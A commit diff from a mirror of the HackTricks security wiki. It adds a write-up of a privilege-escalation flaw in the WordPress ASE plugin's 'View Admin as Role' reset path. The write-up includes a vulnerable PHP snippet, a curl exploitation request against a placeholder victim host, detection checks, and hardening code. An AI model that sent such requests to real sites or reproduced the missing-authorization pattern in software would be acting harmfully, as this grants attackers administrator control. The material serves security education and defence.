mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Add content from: Rare Case of Privilege Escalation in ASE Plugin Affecting 10...
This commit is contained in:
parent
9f02ef0154
commit
23ac870db0
@ -490,6 +490,76 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
|
||||
|
||||
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=<username>` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`:
|
||||
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
|
||||
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
|
||||
|
||||
if ( in_array( $reset_for_username, $usernames, true ) ) {
|
||||
$u = get_user_by( 'login', $reset_for_username );
|
||||
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
|
||||
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
|
||||
foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Why it’s exploitable
|
||||
|
||||
- Trusts `$_REQUEST['reset-for']` and a plugin option without server-side authorization.
|
||||
- If a user previously had higher privileges saved in `_asenha_view_admin_as_original_roles` and was downgraded, they can restore them by hitting the reset path.
|
||||
- In some deployments, any authenticated user could trigger a reset for another username still present in `viewing_admin_as_role_are` (broken authorization).
|
||||
|
||||
Attack prerequisites
|
||||
|
||||
- Vulnerable plugin version with the feature enabled.
|
||||
- Target account has a stale high-privilege role stored in user meta from earlier use.
|
||||
- Any authenticated session; missing nonce/capability on the reset flow.
|
||||
|
||||
Exploitation (example)
|
||||
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
|
||||
On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Look for role-switching features that persist “original roles” in user meta (e.g., `_asenha_view_admin_as_original_roles`).
|
||||
- Identify reset/restore paths that:
|
||||
- Read usernames from `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actor’s capabilities.
|
||||
|
||||
Hardening
|
||||
|
||||
- Enforce capability checks on every state-changing branch (e.g., `current_user_can('manage_options')` or stricter).
|
||||
- Require nonces for all role/permission mutations and verify them: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Never trust request-supplied usernames; resolve the target user server-side based on the authenticated actor and explicit policy.
|
||||
- Invalidate “original roles” state on profile/role updates to avoid stale high-privilege restoration:
|
||||
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
|
||||
- Consider storing minimal state and using time-limited, capability-guarded tokens for temporary role switches.
|
||||
|
||||
---
|
||||
|
||||
## WordPress Protection
|
||||
|
||||
### Regular Updates
|
||||
@ -584,5 +654,7 @@ The server responds with the contents of `wp-config.php`, leaking DB credentials
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user